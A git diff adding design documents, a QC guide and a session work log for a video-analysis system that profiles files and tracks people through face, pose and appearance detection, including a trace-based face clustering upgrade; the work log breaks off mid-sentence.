a/docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md b/docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md new file mode 100644 index 0000000..231fb8b --- /dev/null +++ b/docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md @@ -0,0 +1,153 @@ +# File Profile V1.0 + +**Status:** Active +**Version:** 1.0 +**Date:** 2026-07-22 +**Scope:** File identity artifact — persistent on-disk profile per registered file + +--- + +## Problem + +- 5 zombie files in DB: `file_uuid` exists but `file_name` and `file_path` are empty — no way to recover +- File identity lives only in PostgreSQL; no on-disk fallback +- `birth_registration` written by `ingestion.rs` but **not** by `files.rs` API path +- No file history — if a file moves or is renamed, no record of where it was + +## Design + +A JSON file created **first** during registration, stored flat in `MOMENTRY_OUTPUT_DIR`: + +``` +{MOMENTRY_OUTPUT_DIR}/{file_uuid}.profile.json +``` + +### JSON Structure + +```json +{ + "version": "1.0", + "file_uuid": "84d838f260e1881a0daa55fabbc8e434", + "file_name": "view28.mp4", + "file_type": "video", + "birth": { + "mac_address": "a1:b2:c3:d4:e5:f6", + "birthday": "2026-04-13T23:00:49+08:00", + "original_path": "/Users/accusys/momentry/var/sftpgo/data/demo", + "original_filename": "view28.mp4", + "canonical_path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4", + "content_hash": "abc123..." + }, + "current": { + "path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4", + "file_name": "view28.mp4", + "file_type": "video" + }, + "history": [ + { + "action": "registered", + "timestamp": "2026-07-22T14:30:00+08:00", + "path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4", + "file_name": "view28.mp4" + } + ], + "metadata": { + "duration": 243.24, + "width": 720, + "height": 890, + "fps": 60.0, + "total_frames": 7297 + }, + "key_frame": null +} +``` + +### Fields + +| Field | Purpose | +|-------|---------| +| `version` | Profile schema version (for future migration) | +| `file_uuid` | The deterministic UUID | +| `file_name` | Original filename at registration | +| `file_type` | video/audio/image/document/... | +| `birth.mac_address` | MAC address used to compute UUID | +| `birth.birthday` | File mtime (RFC3339) used to compute UUID | +| `birth.original_path` | Parent directory at registration | +| `birth.original_filename` | Filename at registration | +| `birth.canonical_path` | Canonical (resolved symlinks) path at registration | +| `birth.content_hash` | SHA256 of file content | +| `current.path` | Latest known path (updated when file moves) | +| `current.file_name` | Latest known filename (updated on rename) | +| `current.file_type` | Latest file type | +| `history` | Array of all path/name changes with timestamps | +| `metadata` | Media info (duration, resolution, etc.) | +| `key_frame` | Base64-encoded JPEG of representative frame (video only), or null | + +### key_frame + +For video files, `key_frame` stores a **base64-encoded JPEG** of a representative frame extracted at registration time (typically at 10% of duration or the first non-black frame). For non-video files, this field is `null`. + +Purpose: +- Instant visual identification without needing to open the video +- Fallback if thumbnails or `.faces/` crops are deleted +- Portable — the profile file is self-contained + +Extraction: +- Uses ffmpeg to grab a frame at `duration * 0.1` (or first frame if duration unknown) +- JPEG quality 85, max width 640px +- Stored inline as base64 string in the JSON + +## Implementation + +### New Module + +`src/core/file_profile.rs` — `FileProfile` struct with: +- `from_registration_params(...)` — build at registration time +- `load_from_disk(uuid, output_dir)` — read `{uuid}.profile.json` +- `save_to_disk(&self, output_dir)` — write `{uuid}.profile.json` +- `update_current_path(&mut self, new_path, new_name)` — append to history, update current +- `extract_key_frame(video_path, duration)` — ffmpeg frame extraction + base64 + +### Registration Flow + +1. DB INSERT (existing) +2. **Build FileProfile** from all params (mac, birthday, path, name, content_hash, probe metadata) +3. **Extract key_frame** if video (ffmpeg) +4. **Save `{uuid}.profile.json`** — first artifact on disk +5. CUT processing (existing) + +### Update Flow + +When `file_path` or `file_name` changes via API: +1. Load profile from disk +2. `profile.update_current_path(new_path, new_name)` +3. Save updated profile + +### Fallback Flow + +If DB data is missing (zombie files): +1. Load profile from disk +2. Profile's `current.path` and `current.file_name` provide recovery data + +### Files Changed + +| File | Change | +|------|--------| +| `src/core/file_profile.rs` | **NEW** — FileProfile struct | +| `src/core/mod.rs` | Add `pub mod file_profile` | +| `src/api/files.rs` | Write profile after registration; fallback; enrich GET; cleanup | +| `src/core/ingestion.rs` | Write profile after registration | +| `src/api/profile.rs` | Enrich GET file-profile with profile data + history | + +### Backfill + +Existing 16 files get profiles generated from DB fields + probe.json data. +5 zombie files get minimal profiles (UUID + file_type + content_hash from DB). + +--- + +## Version History + +| Version | Date | Change | +|---------|------|--------| +| 1.0 | 2026-07-22 | Initial design — file profile with key_frame | diff --git a/docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md b/docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md new file mode 100644 index 0000000..2a5832c --- /dev/null +++ b/docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md @@ -0,0 +1,339 @@ +# Face-Pose-Appearance Tracking Design + +**Version**: 1.0 +**Date**: 2026-07-19 +**Status**: Ready for Implementation + +--- + +## 1. Overview + +本文件定義 Face、Pose、Appearance 的追蹤系統設計,包含: +- Trace ID 繼承規則 +- 擴張邏輯 +- Appearance 色塊提取 +- Agent Search 整合 + +--- + +## 2. Core Concepts + +### 2.1 Identity vs Tracking + +| Processor | Purpose | Description | +|-----------|---------|-------------| +| **Face** | Identity | Who is this person? 需要高品質 embedding | +| **Pose** | Tracking | Where is this person? 當 face occluded 時維持追蹤 | +| **Appearance** | Tracking | What do they look like? 當 pose occluded 時維持追蹤 | + +### 2.2 Offline Processing Advantage + +Offline 處理可以先做 face detection,再從 face traces 擴張 pose/appearance: + +``` +Face Detection → 知道身份錨點 + ↓ +Face Tracking → 給予 trace_id + ↓ +Pose Expansion → 從 face traces 向外擴張 + ↓ +Appearance Expansion → 從 pose traces 向外擴張 +``` + +--- + +## 3. Processing Pipeline + +### 3.1 Pipeline Order + +| Order | Processor | Dependencies | Output | Description | +|-------|-----------|-------------|--------|-------------| +| 1 | `cut` | — | cut.json | Scene detection | +| 2 | `face` | — | face.json | Face detection (8Hz) + embedding | +| 3 | `face_trace` | face | face_traced.json | Face tracking (IoU + embedding) | +| 4 | `pose` | face_trace | pose.json | Pose expansion from traces | +| 5 | `appearance` | pose | appearance.json | Appearance extraction | +| 6 | `asr` | cut | asr.json | Speech-to-text | +| 7 | `asrx` | asr | asrx.json | Speaker diarization | + +### 3.2 Sampling Rate + +- **公式**: `sample_interval = floor(fps / 8)` +- **確保**: ≥ 8Hz 取樣率 +- **範例**: + - 24fps → interval = 3 → 8Hz + - 30fps → interval = 3 → 10Hz + - 60fps → interval = 7 → 8.6Hz + +--- + +## 4. Trace ID Inheritance + +### 4.1 Inheritance Chain + +``` +Face Trace (identity anchor) + │ trace_id = 1, 2, 3, ... + │ + ▼ inherits trace_id +Pose Expansion + │ same trace_id per person + │ + ▼ inherits trace_id +Appearance Expansion + │ same trace_id per person +``` + +### 4.2 Frame Count Relationship + +``` +face_frames ≤ pose_frames ≤ appearance_frames +``` + +**原因**: +- Face: 只有臉部可見的 frames +- Pose: Face frames + 擴張 frames(臉被遮但身體可見) +- Appearance: Pose frames + 擴張 frames + +### 4.3 Trace Connection + +``` +Face trace A (frames 1-10) Face trace B (frames 20-30) + ↘ ↙ + Pose 連接 (frames 15-18) + (同一人,中間臉被遮住) +``` + +**意義**: Pose 可以連接斷開的 face traces,屬於同一人。 + +--- + +## 5. Expansion Rules + +### 5.1 Pose Expansion + +**Algorithm**: +1. 讀取 face_traced.json,取得每個 trace_id 的 frames +2. 對每個 trace 的 frames 向外擴張(逐幀檢查) +3. 連續 3 幀無 pose detection → 停止擴張 +4. 繼承 trace_id +5. 輸出 8Hz 取樣 + +**Parameters**: + +| Parameter | Value | Description | +|-----------|-------|-------------| +| `miss_threshold` | 3 | 連續無檢測幀數 | +| `output_rate` | 8Hz | 輸出取樣率 | + +### 5.2 Appearance Expansion + +**Algorithm**: +1. 讀取 pose.json,取得每個 trace_id 的 frames +2. 對每個 pose frame,在 keypoint 位置提取顏色 +3. 記錄整體亮度 +4. 輸出 8Hz 取樣 + +**Parameters**: + +| Parameter | Value | Description | +|-----------|-------|-------------| +| `color_radius` | 15 | 顏色取樣半徑(pixels) | +| `output_rate` | 8Hz | 輸出取樣率 | + +--- + +## 6. Pose Output + +### 6.1 Data Structure + +```json +{ + "frame_count": 1000, + "fps": 24.0, + "frames": [ + { + "frame": 100, + "timestamp": 4.16, + "trace_id": 1, + "persons": [ + { + "keypoints": [ + {"name": "nose", "x": 315.9, "y": 364.2, "confidence": 0.85}, + {"name": "left_shoulder", "x": 290.0, "y": 400.0, "confidence": 0.92} + ], + "bbox": {"x": 280, "y": 350, "width": 100, "height": 200} + } + ] + } + ] +} +``` + +### 6.2 Bbox Validation + +**原則**: Face bbox 應在 Pose bbox 內,或 IoU > 0.5 + +``` +┌─────────────────────────┐ +│ Pose bbox │ +│ ┌─────────┐ │ +│ │ Face │ │ +│ │ bbox │ │ +│ └─────────┘ │ +└─────────────────────────┘ +``` + +**用途**: +- 品質驗證:確保 pose/face 屬於同一人 +- 匹配追蹤:用 bbox overlap 匹配 face/pose + +--- + +## 7. Appearance Output + +### 7.1 Keypoint-based Color Extraction + +**原理**: 在 pose keypoint 位置取周圍平均色 + +``` +Pose Keypoints 座標 + ↓ +在每個 keypoint 位置取色 + ↓ +記錄為 appearance +``` + +### 7.2 Body Part Mapping + +| Keypoints | Body Part | Description | +|-----------|-----------|-------------| +| nose, eyes, ears | head | 帽子、頭髮顏色 | +| shoulders | torso | 上衣顏色 | +| hips, knees | legs | 褲子顏色 | +| ankles | feet | 鞋子顏色 | + +### 7.3 Data Structure + +```json +{ + "frame_count": 1000, + "fps": 24.0, + "frames": [ + { + "frame": 100, + "timestamp": 4.16, + "trace_id": 1, + "brightness": 0.75, + "colors": { + "head": [180, 150, 120], + "torso": [255, 50, 50], + "legs": [50, 50, 200], + "feet": [50, 200, 50] + } + } + ] +} +``` + +### 7.4 Lighting Record + +```json +{ + "brightness": 0.75 +} +``` + +**用途**: 不同光源下的顏色校正 + +--- + +## 8. VLM Complementary Strategy + +### 8.1 Two-Level Approach + +| Level | Method | Purpose | +|-------|--------|---------| +| **L1** | Keypoint 快取色 | 快速搜尋、初步候選 | +| **L2** | VLM 驗證 | 複雜情況、細節補充(可選) | + +### 8.2 Workflow + +``` +搜尋「穿紅上衣的人」 + ↓ +L1: Keypoint 取色搜尋 → Top 20 候選 + ↓ +L2: VLM 驗證(需要時)→ 確認顏色、補充細節 + ↓ +最終結果 → Top 10 + 置信度 +``` + +--- + +## 9. Agent Search Integration + +### 9.1 Agent Tool Design + +```python +def search_by_appearance( + color: str, # "red", "blue", "green" + body_part: str, # "torso", "legs", "feet" + top_k: int = 10 +) -> List[SearchResult]: + """ + 搜尋穿特定顏色衣物的人 + + Returns: + [ + {"trace_id": 1, "identity": "John", "confidence": 0.85}, + {"trace_id": 2, "identity": "Mary", "confidence": 0.72}, + ] + """ +``` + +### 9.2 Query Examples + +| User Query | Agent Action | +|------------|--------------| +| 「穿紅上衣的人是誰?」 | search_by_appearance("red", "torso") → match identity | +| 「穿綠鞋子的人」 | search_by_appearance("green", "feet") | +| 「戴黑帽子的人」 | search_by_appearance("black", "head") | + +### 9.3 Top-K Strategy + +- **原則**: 找 top 10-20 最相似的 +- **容許誤差**: 光源、角度差異可接受 +- **近似即可**: 不需精確匹配 + +--- + +## 10. Implementation Files + +| Component | File | Status | +|-----------|------|--------| +| Face Detection | `swift_face.swift` | ✅ Complete | +| Face Tracking | `store_traced_faces.py` | ✅ Complete | +| Pose Expansion | `swift_pose_expansion.swift` | ✅ Complete | +| Appearance Expansion | `swift_appearance_expansion.swift` | ✅ Complete | +| Pose Processor | `pose_processor_v2.py` | ✅ Complete | +| Appearance Processor | `appearance_processor_v2.py` | ✅ Complete | + +--- + +## 11. Testing Checklist + +- [ ] 清除測試檔案重新註冊 +- [ ] 執行完整流程:face → trace → pose → appearance +- [ ] 驗證 trace_id 繼承正確性 +- [ ] 驗證 frame count 關係 (face ≤ pose ≤ appearance) +- [ ] 驗證 bbox 包含關係 (face bbox ⊂ pose bbox) +- [ ] 測試 Agent search_by_appearance + +--- + +## 12. Version History + +| Version | Date | Changes | +|---------|------|---------| +| 1.0 | 2026-07-19 | Initial design | \ No newline at end of file diff --git a/docs_v1.0/DESIGN/Trace_Inheritance_Rules.md b/docs_v1.0/DESIGN/Trace_Inheritance_Rules.md new file mode 100644 index 0000000..628aa3b --- /dev/null +++ b/docs_v1.0/DESIGN/Trace_Inheritance_Rules.md @@ -0,0 +1,209 @@ +# Trace ID Inheritance & Expansion Rules + +**Date**: 2026-07-19 +**Author**: Core Team +**Status**: Final + +--- + +## Overview + +This document defines the trace ID inheritance rules and expansion logic for Face, Pose, and Appearance processing. + +--- + +## Core Concepts + +### Face = Identity, Pose/Appearance = Tracking + +| Processor | Purpose | Description | +|-----------|---------|-------------| +| **Face** | Identity | Who is this person? Requires high-quality embedding for recognition. | +| **Pose** | Tracking | Where is this person? Maintains tracking when face is occluded. | +| **Appearance** | Tracking | What do they look like? Maintains tracking when pose is occluded. | + +### Offline Processing Advantage + +In offline processing, we can: +1. First detect all faces (identity anchors) +2. Then expand pose/appearance from face traces + +This is different from real-time tracking where pose/appearance runs continuously and face anchors identity when visible. + +--- + +## Processing Pipeline + +### Step 1: Face Detection (8Hz) + +``` +swift_face → face.json +``` + +- Sampling rate: `floor(fps / 8)` (ensures ≥ 8Hz) +- Output: Face bounding boxes with landmarks and embeddings + +### Step 2: Face Tracking + +``` +store_traced_faces.py → face_traced.json +``` + +- Algorithm: IoU + embedding similarity +- Output: Each face assigned a `trace_id` +- Purpose: Group same-person faces across frames + +### Step 3: Pose Expansion + +``` +swift_pose_expansion → pose.json +``` + +**Input**: face_traced.json (frames with trace_id) + +**Expansion Algorithm**: +1. For each trace_id, get all face frames +2. Expand outward (forward/backward) checking for pose +3. Stop when 3 consecutive frames have no pose detection +4. Inherit trace_id from face + +**Output**: Pose keypoints with inherited trace_id + +### Step 4: Appearance Expansion + +``` +swift_appearance_expansion → appearance.json +``` + +**Input**: pose.json (frames with trace_id) + +**Expansion Algorithm**: +1. For each trace_id, get all pose frames +2. Expand outward (forward/backward) checking for appearance +3. Stop when 3 consecutive frames have HSV similarity < 0.5 +4. Inherit trace_id from pose + +**Output**: HSV histograms with inherited trace_id + +--- + +## Trace ID Inheritance + +``` +Face Trace (identity anchor) + │ + │ inherits trace_id + ▼ +Pose Expansion + │ + │ inherits trace_id + ▼ +Appearance Expansion +``` + +**Key Points:** +- Trace ID originates from face tracking +- Pose inherits the same trace_id (same person) +- Appearance inherits the same trace_id (same person) +- This enables linking all detections to the same identity + +--- + +## Frame Count Relationship + +``` +face frames ≤ pose frames ≤ appearance frames +``` + +**Explanation:** +- Face: Only frames where face is clearly visible +- Pose: Face frames + expanded frames (pose may still be visible when face is occluded) +- Appearance: Pose frames + expanded frames (appearance may still be visible when pose is occluded) + +--- + +## Expansion Rules + +### Pose Expansion + +| Parameter | Value | Description | +|-----------|-------|-------------| +| `miss_threshold` | 3 | Stop after 3 consecutive frames without pose | +| `max_range` | 300 frames | Maximum expansion distance (≈10s at 30fps) | +| `output_rate` | 8Hz | Output sampling rate | + +### Appearance Expansion + +| Parameter | Value | Description | +|-----------|-------|-------------| +| `miss_threshold` | 3 | Stop after 3 consecutive frames with similarity < 0.5 | +| `similarity_threshold` | 0.5 | HSV histogram similarity threshold | +| `max_range` | 300 frames | Maximum expansion distance | +| `output_rate` | 8Hz | Output sampling rate | + +--- + +## Tracking Continuity + +### Pose Can Connect Face Traces + +``` +Face trace A (frames 1-10) Face trace B (frames 20-30) + ↘ ↙ + Pose connects (frames 15-18) + (Same person, face was occluded) +``` + +When pose expansion from two face traces overlaps, they may belong to the same person. Future enhancement: pose-based trace merging. + +### Appearance Can Connect Pose Traces + +Similar to pose, appearance similarity can connect pose traces when pose is temporarily occluded. + +--- + +## Implementation Files + +| Component | File | +|-----------|------| +| Face Detection | `scripts/swift_processors/swift_face.swift` | +| Face Tracking | `scripts/store_traced_faces.py` | +| Pose Expansion | `scripts/swift_processors/swift_pose_expansion.swift` | +| Appearance Expansion | `scripts/swift_processors/swift_appearance_expansion.swift` | +| Pose Processor Wrapper | `scripts/pose_processor_v2.py` | +| Appearance Processor Wrapper | `scripts/appearance_processor_v2.py` | +| Dependencies Definition | `src/core/db/postgres_db.rs:568-577` | + +--- + +## Testing + +### Verify Trace ID Inheritance + +```bash +# Check face traces +cat /Users/accusys/momentry/output/$FILE_UUID.face_traced.json | jq '.frames[].faces[].trace_id' | sort | uniq -c + +# Check pose traces (should have same trace_ids) +cat /Users/accusys/momentry/output/$FILE_UUID.pose.json | jq '.frames[].trace_id' | sort | uniq -c + +# Check appearance traces (should have same trace_ids) +cat /Users/accusys/momentry/output/$FILE_UUID.appearance.json | jq '.frames[].trace_id' | sort | uniq -c +``` + +### Verify Frame Count Relationship + +```bash +# face ≤ pose ≤ appearance +FACE_COUNT=$(cat $OUTPUT/$UUID.face.json | jq '.frames | length') +POSE_COUNT=$(cat $OUTPUT/$UUID.pose.json | jq '.frames | length') +APP_COUNT=$(cat $OUTPUT/$UUID.appearance.json | jq '.frames | length') + +echo "Face: $FACE_COUNT, Pose: $POSE_COUNT, Appearance: $APP_COUNT" +# Expected: Face ≤ Pose ≤ Appearance +``` + +--- + +*Document Version: 1.0* +*Last Updated: 2026-07-19* \ No newline at end of file diff --git a/docs_v1.0/GUIDES/QC_FaceCluster_Support.md b/docs_v1.0/GUIDES/QC_FaceCluster_Support.md new file mode 100644 index 0000000..55b3f49 --- /dev/null +++ b/docs_v1.0/GUIDES/QC_FaceCluster_Support.md @@ -0,0 +1,270 @@ +--- +title: QC FaceCluster Support Guide +version: 2.0 +date: 2026-07-24 +author: OpenCode +status: final +--- + +# QC Modal: face_cluster Support + +> Companion guide for Studio team: frontend changes in `/Users/accusys/momentry_studio/src/views/LibraryView.vue` for `face_cluster` support, and backend multi-stage trace dedup upgrade. + +| Scope | `/Users/accusys/momentry_studio/src/views/LibraryView.vue` | +|-------|-------------------------------------------------------------| +| Backend changes | [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md) | +| Status | ✅ Frontend done (commit `2af8ffa`). Backend upgraded to multi-stage trace dedup. | +| Version | 2.0 | + +**Glossary:** + +| Term | Definition | +|------|------------| +| **Always-Produce rule** | Every processor MUST write its output JSON after scanning the last frame, even for zero results. See [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md#2-always-produce-rule). | +| **Stage 2** | Second-level processors that depend on Stage 1 (`asr`, `ocr`, `face`): `asrx`, `face_cluster`, `pose`, `appearance`. | +| **QC Modal** | Pipeline Quality Control modal launched via the 🔍 button in the file context menu (advanced mode). | +| **trace_id** | Per-video integer identifier linking face detections across frames (from face tracker). Each `trace_id` represents the same person in a continuous shot. | +| **Multi-stage dedup** | Two-stage clustering: (1) strict AgglomerativeClustering on trace-level mean embeddings, (2) cross-cluster merge via trace-pair voting with temporal overlap guard. | + +--- + +## Background + +The backend at `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` was upgraded from single-pass face-level clustering to **multi-stage trace-based deduplication**. + +### Problem: Single-pass clustering limitations + +The old algorithm ran AgglomerativeClustering (cosine distance threshold 0.4) on up to 25k+ individual face embeddings, using random sampling for large datasets. This caused: + +- **Fragmentation**: same person appearing in different shots/scenes got split across multiple clusters because their face embeddings exceeded the fixed threshold +- **Sampling bias**: only 5000 faces sampled for large files, minority clusters missed +- **No temporal info**: no use of `trace_id` or frame-range overlap checks + +### Analysis: 12 files, 180,791 face embeddings + +Analysis of all production data in Qdrant `_faces` collection showed: + +| Metric | Value | +|--------|-------| +| Files analyzed | 12 | +| Total face embeddings | 180,791 | +| Worst fragmentation | `c36f35685177` — 62k faces, 5,616 traces, 46% single-face | +| Cross-trace pairs >0.7 similarity | 529,305 in worst file | +| Temporal overlap among high-sim pairs | 99.9% **non-overlapping** (safe to merge) | +| Temporal overlap for talking head | 100% **overlapping** (temporal guard prevents false merge) | + +### Solution: Multi-stage trace dedup + +1. **Trace aggregation**: group all Qdrant face embeddings by `trace_id`, compute confidence-weighted mean embedding per trace + frame range +2. **Stage 1 (strict)**: AgglomerativeClustering on trace-level mean vectors (cosine distance threshold 0.35) +3. **Stage 2 (merge)**: trace-pair voting across cluster boundaries — if >30% of cross-cluster trace pairs have similarity >0.70 AND overall cluster frame ranges don't overlap → merge + +### Sourced from Qdrant `_faces` Collection + +Collection: `_faces` (512D, Cosine distance) +Payload: `{file_uuid, frame, trace_id, bbox, confidence, identity_id, identity_uuid}` + +--- + +## face_cluster.json Output Format (Unchanged) + +From `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py`: + +```json +{ + "status": "has_faces", + "file_uuid": "9781de6d...", + "clusters": [ + { + "cluster_id": "Person_0", + "face_count": 12, + "representative_face": { + "face_id": "face_10_3", + "confidence": 0.95, + "frame": 123, + "bbox": { "x": 100, "y": 200, "width": 50, "height": 60 } + } + } + ], + "frames": [ + { + "frame": 123, + "timestamp": 5.13, + "faces": [ + { "face_id": "face_10_3", "cluster_id": "Person_0", "confidence": 0.95 } + ] + } + ] +} +``` + +On no-faces / no-data, status is `"no_faces"`, `"no_face_json"`, or `"no_embeddings"`, with `"clusters": []` and `"frames": []`. + +--- + +## Backend: Complete + +| File | Change | Status | +|------|--------|--------| +| `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` | **Multi-stage trace dedup**: trace aggregation + Stage 1 strict clustering (0.35) + Stage 2 trace-pair voting merge (0.70 sim, 0.30 ratio) + temporal overlap guard | ✅ Done | +| `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` | Always-Produce: 3 early returns write empty output + RedisPublisher progress | ✅ Done | +| `/Users/accusys/momentry_core/src/worker/job_worker.rs:186` | Worker heartbeat EXPIRE 15s after HMSET | ✅ Done | +| `/Users/accusys/momentry_core/src/api/health.rs:631-655` | `check_worker_alive()` — Redis TTL check replacing `ps aux` | ✅ Done | +| `/Users/accusys/momentry_core/src/api/processing.rs:842` | `GET /api/v1/file/{uuid}/processor-counts` — auto-includes `FaceCluster` via `ProcessorType::all()` | ✅ Already correct | + +### Test Results (7 files, 155,095 face embeddings total) + +| File | Type | Faces | Traces | Stage 1 | Final | Merged | +|------|------|-------|--------|---------|-------|--------| +| `c36f35685177` | Crowd | 62,298 | 5,616 | 1,113 | 826 | **287** | +| `d8acb03870f0` | Crowd | 693 | 107 | 45 | 43 | 2 | +| `84d838f260e1` | Crowd | 597 | 89 | 34 | 33 | 1 | +| `c0a9dc37cd84` | Crowd | 1,137 | 78 | 26 | 24 | 2 | +| `31a6b8212760` | Multi | 744 | 32 | 10 | 9 | 1 | +| `5e5f3de82208` | Multi | 532 | 22 | 4 | 4 | 0 | +| `bfba056f5021` | Talking head | 89,791 | 16 | 4 | 4 | **0 (correct)** | + +**Key verification**: talking head file had 100% temporal overlap among all high-sim trace pairs — Stage 2 correctly merged 0 clusters (temporal guard prevented false positive). + +--- + +## Frontend: Studio Team Changes (Already Done) + +**Commit**: `2af8ffa` → Gitea (pushed by Studio team) + +### Change 1: Job Output File List (P0) + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L1034 + +Add `'face_cluster'` to the `processors` array in `refreshSystemStatus()`: + +```typescript +const processors = ['cut', 'asr', 'asrx', 'face', 'ocr', 'pose', 'appearance', 'face_cluster'] +``` + +Expected: QC Modal → Jobs → each job's output list includes `face_cluster.json` with cluster count. Empty results show `face_cluster.json (0筆)`. + +### Change 2: QC Result Query List (P0) + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L1096 + +Add `'face_cluster'` to the `processors` array in `runProcessorQC()`: + +```typescript +const processors = ['cut', 'asr', 'asrx', 'face', 'ocr', 'pose', 'appearance', 'face_cluster'] +``` + +Expected: Pipeline visualization and node status include `FACE_CLUSTER`. + +### Change 3: `getJsonCount()` — Add `clusters` Case (P0) + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L1002 + +Insert `data.clusters` check before `return 0`: + +```typescript + if (data.cuts) return data.cuts.length + if (data.clusters) return data.clusters.length + return 0 +``` + +`face_cluster.json` uses `clusters` array — without this branch, count always shows 0. + +### Change 4: Pipeline Stage 2 — Add FACE_CLUSTER Node (P0) + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L460 + +Add `FACE_CLUSTER` to the Stage 2 filter: + +```html +v-for="r in qcResults.filter(p => ['ASRX','FACE_CLUSTER','APPEARANCE'].includes(p.processor))" +``` + +Expected pipeline: + +``` + [ASRX] → [FACE_CLUSTER] → [APPEARANCE] → 📄 JSON Outputs +``` + +### Change 5 (Optional, P1): Context Menu + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L179 + +Insert `face_cluster` block between ASRX and Face: + +```html +
+ + {{ procStatusIcon('face_cluster') }} + {{ procCountLabel('face_cluster', 'frame') }} + +
+``` + +Add reactive ref: + +```typescript +const procFaceCluster = ref(true) +``` + +### Change 6 (Optional, P1): `selectedProcessors()` + +**File**: `/Users/accusys/momentry_studio/src/views/LibraryView.vue` +**Line**: ~L930 + +```typescript + if (procAsrx.value) procs.push('asrx') + if (procFaceCluster.value) procs.push('face_cluster') + if (procFace.value) procs.push('face') +``` + +--- + +## What to Expect in QC + +With the multi-stage algorithm: + +| Before (single-pass) | After (multi-stage trace dedup) | +|----------------------|--------------------------------| +| Many small clusters for the same person across different shots | Fewer, more accurate clusters — cross-shot fragments merged | +| Single-face traces often assigned to wrong cluster (noise) | Single-face traces remain as small clusters but don't pollute larger ones | +| Talking head: reasonable (limited impact) | Unchanged (temporal guard prevents false merge) | +| Crowd/multi-person: severe fragmentation | 26% fewer clusters in worst case (287 clusters merged in test) | + +**Example**: `c36f35685177` (62k faces, crowd scene) +- Old: ~1,113+ clusters (single-pass, sampling-based) +- New: 826 clusters (trace-level, two-stage, temporal verified) + +--- + +## Verification + +1. Open QC Modal on a processed file (with or without faces) +2. Verify Jobs output list includes `face_cluster.json` +3. Verify Pipeline Stage 2 shows `FACE_CLUSTER` node with ✓ status and cluster count +4. For a no-faces file (e.g., `9781de6d...`), confirm `face_cluster.json` shows 0 clusters + +--- + +## See Also + +- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md`](../DESIGN/AlwaysProduce_Processing_Contract.md) — Frame-Scan model, Always-Produce rule, Redis progress spec +- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/Worker_Health_Check_Mechanism.md`](../DESIGN/Worker_Health_Check_Mechanism.md) — Worker heartbeat TTL mechanism +- [`/Users/accusys/momentry_core/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md`](../DESIGN/FILE_LIFECYCLE_V1.0.md) — Processor stage definitions +- `/Users/accusys/momentry_core/src/core/db/postgres_db.rs:495` — `ProcessorType::all()` includes `FaceCluster` +- `/Users/accusys/momentry_core/src/api/processing.rs:842` — `GET /api/v1/file/{uuid}/processor-counts` +- `/Users/accusys/momentry_core/scripts/fast_face_clustering_processor.py` — Multi-stage trace dedup implementation + +--- + +## Version History + +| Version | Date | Author | Changes | +|---------|------|--------|---------| +| 1.0 | 2026-07-24 | OpenCode | Initial — frontend changes for Always-Produce face_cluster support | +| 2.0 | 2026-07-24 | OpenCode | Backend upgraded to multi-stage trace dedup. Frontend changes completed. | diff --git a/docs_v1.0/M4_workspace/2026-07-20_cluster_agent_state.md b/docs_v1.0/M4_workspace/2026-07-20_cluster_agent_state.md new file mode 100644 index 0000000..b3b7133 --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-20_cluster_agent_state.md @@ -0,0 +1,56 @@ +# Work State - 2026-07-20 Session + +## Objective +- Implement correct face -> face_trace -> pose -> appearance pipeline with proper expansion rules +- Pose expands from face traces until 3 consecutive misses (8Hz sampling) +- Appearance extracts colors at keypoint positions for agent search +- Implement cluster-agent endpoint for Studio's face deduplication feature + +## Important Details +- **Identity vs Tracking**: Face = identity (who), Pose/Appearance = tracking (where/what) +- **Sampling rate**: `floor(fps / 8)` ensures >= 8Hz +- **Expansion rule**: Stop after 3 consecutive frames without detection +- **Trace ID inheritance**: face trace_id -> pose -> appearance +- **Frame count**: face_frames ≤ pose_frames ≤ appearance_frames +- **Appearance**: Colors at keypoint positions (head, torso, legs, feet) + brightness +- **Agent search**: Top-K search for "person wearing red shirt" queries +- **VLM complementary**: L1 quick color extraction, L2 VLM verification when needed +- Production server at port 3002, API key: `muser_demo_key_32chars_abcdef1234567890` + +## Work State + +### Completed +- ✅ Created `swift_pose_expansion.swift`: reads face_traced.json, expands pose with trace_id inheritance +- ✅ Created `swift_appearance_expansion.swift`: reads pose.json, extracts keypoint colors, records brightness +- ✅ Created `pose_processor_v2.py` and `appearance_processor_v2.py` Python wrappers +- ✅ Created design document: `docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md` +- ✅ Implemented `POST /api/v1/file/:file_uuid/cluster-agent` endpoint +- ✅ Implemented `GET /api/v1/cluster-results` endpoint +- ✅ Built Swift binaries successfully +- ✅ Updated pipeline documentation with correct processor order +- ✅ Fixed `fast_face_clustering_processor.py` path handling (flat vs subdirectory) +- ✅ Fixed Python script output format to match Rust `FaceClusterResult` struct +- ✅ Fixed `auto_bind_speakers` None handling +- ✅ Fixed cluster-results to accept file_uuid directly (not just content_hash) + +### Active +- None - all endpoints tested and working + +### Blocked +- None + +## Test Results +- **cluster-agent**: Successfully detected 2 persons (Person_0: 194 faces, Person_1: 2 